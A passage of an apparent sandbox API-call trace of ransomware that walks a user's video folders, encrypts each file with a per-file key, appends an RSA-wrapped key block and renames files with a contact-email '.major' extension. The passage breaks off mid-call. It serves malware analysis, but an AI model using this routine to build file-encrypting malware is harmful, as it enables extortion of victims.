[0170.008] WriteFile (in: hFile=0x7b8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0170.008] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0170.008] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0170.008] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0170.008] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="3dpWmsQSK+VNwGTzZDZKD/e3cxakvrpS5k4lpIssR8Cd32tRQlFmleayE4fPuRm6\nKDTwWP/RMqSVpK85+bNuSR2tV5PbsmN9/61/Oo+zVfja4/qlxD0SoUjx6Aw0Lj9Y\nkIRL1uMCzhATIFqgsSFzQKJS7UawvWlunTpwcETE+cw1jtj6MSGcziEMGrgsmSiy\noKV8zK3OYQUZKGC5VoUqgvTWAIFU2yAHMcWjLnM1Dmt8vSF78At0SWknPZ2rYys4\nR0FIBBFnqcafkn+WC2pygb/oSXIqzSj6LNz413A+smnM/JJs5EYZkl80QFOp1Ld/\nLdW4+GPyAToIhPbckqrmRw==\n", pcchString=0x2e3f9a8) returned 1 [0170.008] WriteFile (in: hFile=0x7b8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0170.008] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0170.008] WriteFile (in: hFile=0x7b8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0170.008] CloseHandle (hObject=0x7b8) returned 1 [0170.008] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\HgvmG\\H c9pCBB7YzjeV.flv" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\hgvmg\\h c9pcbb7yzjev.flv"), lpNewFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\HgvmG\\H c9pCBB7YzjeV.flv.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\hgvmg\\h c9pcbb7yzjev.flv.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0170.010] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0170.010] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\HgvmG\\CifbBQmI.avi", dwFileAttributes=0x80) returned 1 [0170.010] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\HgvmG\\CifbBQmI.avi" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\hgvmg\\cifbbqmi.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b8 [0170.010] GetFileSizeEx (in: hFile=0x7b8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=53456) returned 1 [0170.010] ReadFile (in: hFile=0x7b8, lpBuffer=0x6590d8, nNumberOfBytesToRead=0xd0d0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0xd0d0, lpOverlapped=0x0) returned 1 [0170.011] SetFilePointer (in: hFile=0x7b8, lDistanceToMove=-53456, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.011] WriteFile (in: hFile=0x7b8, lpBuffer=0x2ea0f38*, nNumberOfBytesToWrite=0xd0d0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0f38*, lpNumberOfBytesWritten=0x2e3f9b4*=0xd0d0, lpOverlapped=0x0) returned 1 [0170.011] SetFilePointer (in: hFile=0x7b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xd0d0 [0170.011] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0170.011] WriteFile (in: hFile=0x7b8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0170.012] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0170.012] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0170.012] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0170.012] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="9kaP1usCt15wCN9c/zaOG6PtX3DlZUP28rncSGUl/WJ/BZwMCQKinECcQcn7qSMz\niNld1s+ti6RLnysEFj3vHZMebY2QGNhBsp5dO4mdDv+vuhBIPnXm1dNxRwtf1H5C\n2dn9TlKprHRNyEN8HX/JbNASv1pv/SJbUgLNx3CePpa2OrvQ1WwYyQphAwWooXs8\nKQaVOZZMOU8uXQ6qcY0AVREkq8O6hXmKrZq0jF22c53QqHWCKqHHsGkvQv/Yq8E2\nzzHtfEqPXXXIA/hs7yVEzDtkIxCyQ/8dSv20MC+0oZVu9UzGrku3hRN0N7rKdlIH\neHBgVZbyTT18Wy3f+ruijg==\n", pcchString=0x2e3f9a8) returned 1 [0170.012] WriteFile (in: hFile=0x7b8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0170.012] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0170.012] WriteFile (in: hFile=0x7b8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0170.012] CloseHandle (hObject=0x7b8) returned 1 [0170.012] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\HgvmG\\CifbBQmI.avi" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\hgvmg\\cifbbqmi.avi"), lpNewFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\HgvmG\\CifbBQmI.avi.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\hgvmg\\cifbbqmi.avi.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0170.014] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\R3eG_Mm3 6jiK2_eNq\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c1f3180, ftCreationTime.dwHighDateTime=0x1d4d44c, ftLastAccessTime.dwLowDateTime=0xea02f9b0, ftLastAccessTime.dwHighDateTime=0x1d4c694, ftLastWriteTime.dwLowDateTime=0x1ca1c32d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x653be0 [0170.014] SetLastError (dwErrCode=0x0) [0170.014] GetLastError () returned 0x0 [0170.014] SetLastError (dwErrCode=0x0) [0170.014] GetLastError () returned 0x0 [0170.014] SetLastError (dwErrCode=0x0) [0170.014] FindNextFileW (in: hFindFile=0x653be0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c1f3180, ftCreationTime.dwHighDateTime=0x1d4d44c, ftLastAccessTime.dwLowDateTime=0xea02f9b0, ftLastAccessTime.dwHighDateTime=0x1d4c694, ftLastWriteTime.dwLowDateTime=0x1ca1c32d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0170.014] SetLastError (dwErrCode=0x0) [0170.014] GetLastError () returned 0x0 [0170.014] SetLastError (dwErrCode=0x0) [0170.014] GetLastError () returned 0x0 [0170.014] SetLastError (dwErrCode=0x0) [0170.014] FindNextFileW (in: hFindFile=0x653be0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55b122a0, ftCreationTime.dwHighDateTime=0x1d4c991, ftLastAccessTime.dwLowDateTime=0x3d2a2110, ftLastAccessTime.dwHighDateTime=0x1d4c85a, ftLastWriteTime.dwLowDateTime=0x3d2a2110, ftLastWriteTime.dwHighDateTime=0x1d4c85a, nFileSizeHigh=0x0, nFileSizeLow=0x14815, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="GNhsyfm__P9y-F.mp4", cAlternateFileName="GNHSYF~1.MP4")) returned 1 [0170.014] SetLastError (dwErrCode=0x0) [0170.014] GetLastError () returned 0x0 [0170.014] SetLastError (dwErrCode=0x0) [0170.014] SetLastError (dwErrCode=0x0) [0170.015] FindNextFileW (in: hFindFile=0x653be0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7682c60, ftCreationTime.dwHighDateTime=0x1d4d2dd, ftLastAccessTime.dwLowDateTime=0x9a22daf0, ftLastAccessTime.dwHighDateTime=0x1d4cfdb, ftLastWriteTime.dwLowDateTime=0x9a22daf0, ftLastWriteTime.dwHighDateTime=0x1d4cfdb, nFileSizeHigh=0x0, nFileSizeLow=0x401a, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="HHhSNaH3XjpRompl-.flv", cAlternateFileName="HHHSNA~1.FLV")) returned 1 [0170.015] SetLastError (dwErrCode=0x0) [0170.015] GetLastError () returned 0x0 [0170.015] SetLastError (dwErrCode=0x0) [0170.015] SetLastError (dwErrCode=0x0) [0170.015] FindNextFileW (in: hFindFile=0x653be0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3aef110, ftCreationTime.dwHighDateTime=0x1d4d159, ftLastAccessTime.dwLowDateTime=0xb54c340, ftLastAccessTime.dwHighDateTime=0x1d4d145, ftLastWriteTime.dwLowDateTime=0xb54c340, ftLastWriteTime.dwHighDateTime=0x1d4d145, nFileSizeHigh=0x0, nFileSizeLow=0x64c0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ltkcwr_5j21.mp4", cAlternateFileName="LTKCWR~1.MP4")) returned 1 [0170.015] SetLastError (dwErrCode=0x0) [0170.015] GetLastError () returned 0x0 [0170.015] SetLastError (dwErrCode=0x0) [0170.015] GetLastError () returned 0x0 [0170.015] SetLastError (dwErrCode=0x0) [0170.015] FindNextFileW (in: hFindFile=0x653be0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ca1c32d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1ca1c32d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1ca1c32d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0170.015] SetLastError (dwErrCode=0x0) [0170.015] GetLastError () returned 0x0 [0170.015] SetLastError (dwErrCode=0x0) [0170.015] GetLastError () returned 0x0 [0170.015] SetLastError (dwErrCode=0x0) [0170.015] FindNextFileW (in: hFindFile=0x653be0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf30f870, ftCreationTime.dwHighDateTime=0x1d4c809, ftLastAccessTime.dwLowDateTime=0x85bfae30, ftLastAccessTime.dwHighDateTime=0x1d4cb9e, ftLastWriteTime.dwLowDateTime=0x85bfae30, ftLastWriteTime.dwHighDateTime=0x1d4cb9e, nFileSizeHigh=0x0, nFileSizeLow=0xac1e, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="WggCH.mp4", cAlternateFileName="")) returned 1 [0170.015] SetLastError (dwErrCode=0x0) [0170.015] GetLastError () returned 0x0 [0170.015] SetLastError (dwErrCode=0x0) [0170.015] GetLastError () returned 0x0 [0170.015] SetLastError (dwErrCode=0x0) [0170.015] FindNextFileW (in: hFindFile=0x653be0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4486cc80, ftCreationTime.dwHighDateTime=0x1d4d2b7, ftLastAccessTime.dwLowDateTime=0xfde62980, ftLastAccessTime.dwHighDateTime=0x1d4ce1d, ftLastWriteTime.dwLowDateTime=0xfde62980, ftLastWriteTime.dwHighDateTime=0x1d4ce1d, nFileSizeHigh=0x0, nFileSizeLow=0x9585, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="YJZiC_a.swf", cAlternateFileName="")) returned 1 [0170.015] SetLastError (dwErrCode=0x0) [0170.016] GetLastError () returned 0x0 [0170.016] SetLastError (dwErrCode=0x0) [0170.016] GetLastError () returned 0x0 [0170.016] SetLastError (dwErrCode=0x0) [0170.016] FindNextFileW (in: hFindFile=0x653be0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a2e6030, ftCreationTime.dwHighDateTime=0x1d4d594, ftLastAccessTime.dwLowDateTime=0x325e8360, ftLastAccessTime.dwHighDateTime=0x1d4c8ce, ftLastWriteTime.dwLowDateTime=0x325e8360, ftLastWriteTime.dwHighDateTime=0x1d4c8ce, nFileSizeHigh=0x0, nFileSizeLow=0x3069, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="zNFnSLh00moCaHKd9t.avi", cAlternateFileName="ZNFNSL~1.AVI")) returned 1 [0170.016] SetLastError (dwErrCode=0x0) [0170.016] GetLastError () returned 0x0 [0170.016] SetLastError (dwErrCode=0x0) [0170.016] SetLastError (dwErrCode=0x0) [0170.016] FindNextFileW (in: hFindFile=0x653be0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a2e6030, ftCreationTime.dwHighDateTime=0x1d4d594, ftLastAccessTime.dwLowDateTime=0x325e8360, ftLastAccessTime.dwHighDateTime=0x1d4c8ce, ftLastWriteTime.dwLowDateTime=0x325e8360, ftLastWriteTime.dwHighDateTime=0x1d4c8ce, nFileSizeHigh=0x0, nFileSizeLow=0x3069, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="zNFnSLh00moCaHKd9t.avi", cAlternateFileName="ZNFNSL~1.AVI")) returned 0 [0170.016] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0170.016] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\R3eG_Mm3 6jiK2_eNq\\zNFnSLh00moCaHKd9t.avi", dwFileAttributes=0x80) returned 1 [0170.016] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\R3eG_Mm3 6jiK2_eNq\\zNFnSLh00moCaHKd9t.avi" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\r3eg_mm3 6jik2_enq\\znfnslh00mocahkd9t.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7bc [0170.016] GetFileSizeEx (in: hFile=0x7bc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=12393) returned 1 [0170.016] ReadFile (in: hFile=0x7bc, lpBuffer=0x6590d8, nNumberOfBytesToRead=0x3069, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x3069, lpOverlapped=0x0) returned 1 [0170.017] SetFilePointer (in: hFile=0x7bc, lDistanceToMove=-12393, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.017] WriteFile (in: hFile=0x7bc, lpBuffer=0x65c150*, nNumberOfBytesToWrite=0x3069, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65c150*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3069, lpOverlapped=0x0) returned 1 [0170.017] SetFilePointer (in: hFile=0x7bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3069 [0170.017] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0170.017] WriteFile (in: hFile=0x7bc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0170.018] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0170.018] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0170.018] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0170.018] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="IsMXfFSgocp6DGkFqyUVAvaVfywW530R+o0mIbk/ZTG1VXS7jDxk6znE96ejblZy\nHnEOuBEFiwY/nNqTJ/0KUoXQkeIYSTZUVWQoEKJOWLI7zAPSqimDS/XCEMgzQML+\nzkMVZHMTmSL5Yu/kFH/NbtRBZsZVWRqfTjqQkEvcKFidNehMIG9LEC+TTS06NHtW\nfNo3FgAZMbRu2fMJ0LkgbvHguqzEcWavQwuNY/2F6vVYWgifh60huZfCet7FMfan\n+eC+5xYYDAVu81CX3ZfIt+twJQQiBD+FJ/Vr+NlQSp6narByoXjxJUq1Zr5/8MX2\nVGuiw0+cZkBtZp7vv5geIA==\n", pcchString=0x2e3f9a8) returned 1 [0170.018] WriteFile (in: hFile=0x7bc, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0170.018] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0170.018] WriteFile (in: hFile=0x7bc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0170.018] CloseHandle (hObject=0x7bc) returned 1 [0170.018] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\R3eG_Mm3 6jiK2_eNq\\zNFnSLh00moCaHKd9t.avi" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\r3eg_mm3 6jik2_enq\\znfnslh00mocahkd9t.avi"), lpNewFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\R3eG_Mm3 6jiK2_eNq\\zNFnSLh00moCaHKd9t.avi.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\r3eg_mm3 6jik2_enq\\znfnslh00mocahkd9t.avi.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0170.020] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0170.020] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\R3eG_Mm3 6jiK2_eNq\\YJZiC_a.swf", dwFileAttributes=0x80) returned 1 [0170.020] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\R3eG_Mm3 6jiK2_eNq\\YJZiC_a.swf" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\r3eg_mm3 6jik2_enq\\yjzic_a.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7bc [0170.020] GetFileSizeEx (in: hFile=0x7bc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=38277) returned 1 [0170.020] ReadFile (in: hFile=0x7bc, lpBuffer=0x6590d8, nNumberOfBytesToRead=0x9585, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x9585, lpOverlapped=0x0) returned 1 [0170.021] SetFilePointer (in: hFile=0x7bc, lDistanceToMove=-38277, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.021] WriteFile (in: hFile=0x7bc, lpBuffer=0x662668*, nNumberOfBytesToWrite=0x9585, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x662668*, lpNumberOfBytesWritten=0x2e3f9b4*=0x9585, lpOverlapped=0x0) returned 1 [0170.021] SetFilePointer (in: hFile=0x7bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x9585 [0170.021] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0170.022] WriteFile (in: hFile=0x7bc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0170.022] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0170.022] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0170.022] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0170.022] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="ad0QUMMz0gZE+gi3I56gyI5E567XczKy+BoMPauVh59IfnuN+600Wkr2FIk6ty3J\nV+NLYW/DjCvIotE7OXA2j80hsiA+kPMVvl2afKbURy5jYoKvsdg5QhOZdTmV79xX\nL3+9ZHQCmdt85w7Fo12IWYTHss0v1XPRDsKnRTvMKPjSZdCRkIzdD5Vhl1WJ70RZ\nw+dgTB/LwZI8vZ0ANlmfrQfhfjlODES8CDJGY1smXlDKThTTGyTNEJa3xuPUhUKx\nWK8yBW9hLp7rvmodIphFgOJHFHrc2WSlrBcdKF44ktVVrWtMBstUx9lwVq24UEAd\ncMiMnTYddaE9npVaELtzqw==\n", pcchString=0x2e3f9a8) returned 1 [0170.022] WriteFile (in: hFile=0x7bc, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0170.022] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0170.022] WriteFile (in: hFile=0x7bc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0170.022] CloseHandle (hObject=0x7bc) returned 1 [0170.022] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\R3eG_Mm3 6jiK2_eNq\\YJZiC_a.swf" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\r3eg_mm3 6jik2_enq\\yjzic_a.swf"), lpNewFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\R3eG_Mm3 6jiK2_eNq\\YJZiC_a.swf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\r3eg_mm3 6jik2_enq\\yjzic_a.swf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0170.024] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0170.024] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\R3eG_Mm3 6jiK2_eNq\\WggCH.mp4", dwFileAttributes=0x80) returned 1 [0170.027] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\R3eG_Mm3 6jiK2_eNq\\WggCH.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\r3eg_mm3 6jik2_enq\\wggch.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7bc [0170.027] GetFileSizeEx (in: hFile=0x7bc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=44062) returned 1 [0170.027] ReadFile (in: hFile=0x7bc, lpBuffer=0x6590d8, nNumberOfBytesToRead=0xac1e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0xac1e, lpOverlapped=0x0) returned 1 [0170.028] SetFilePointer (in: hFile=0x7bc, lDistanceToMove=-44062, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.028] WriteFile (in: 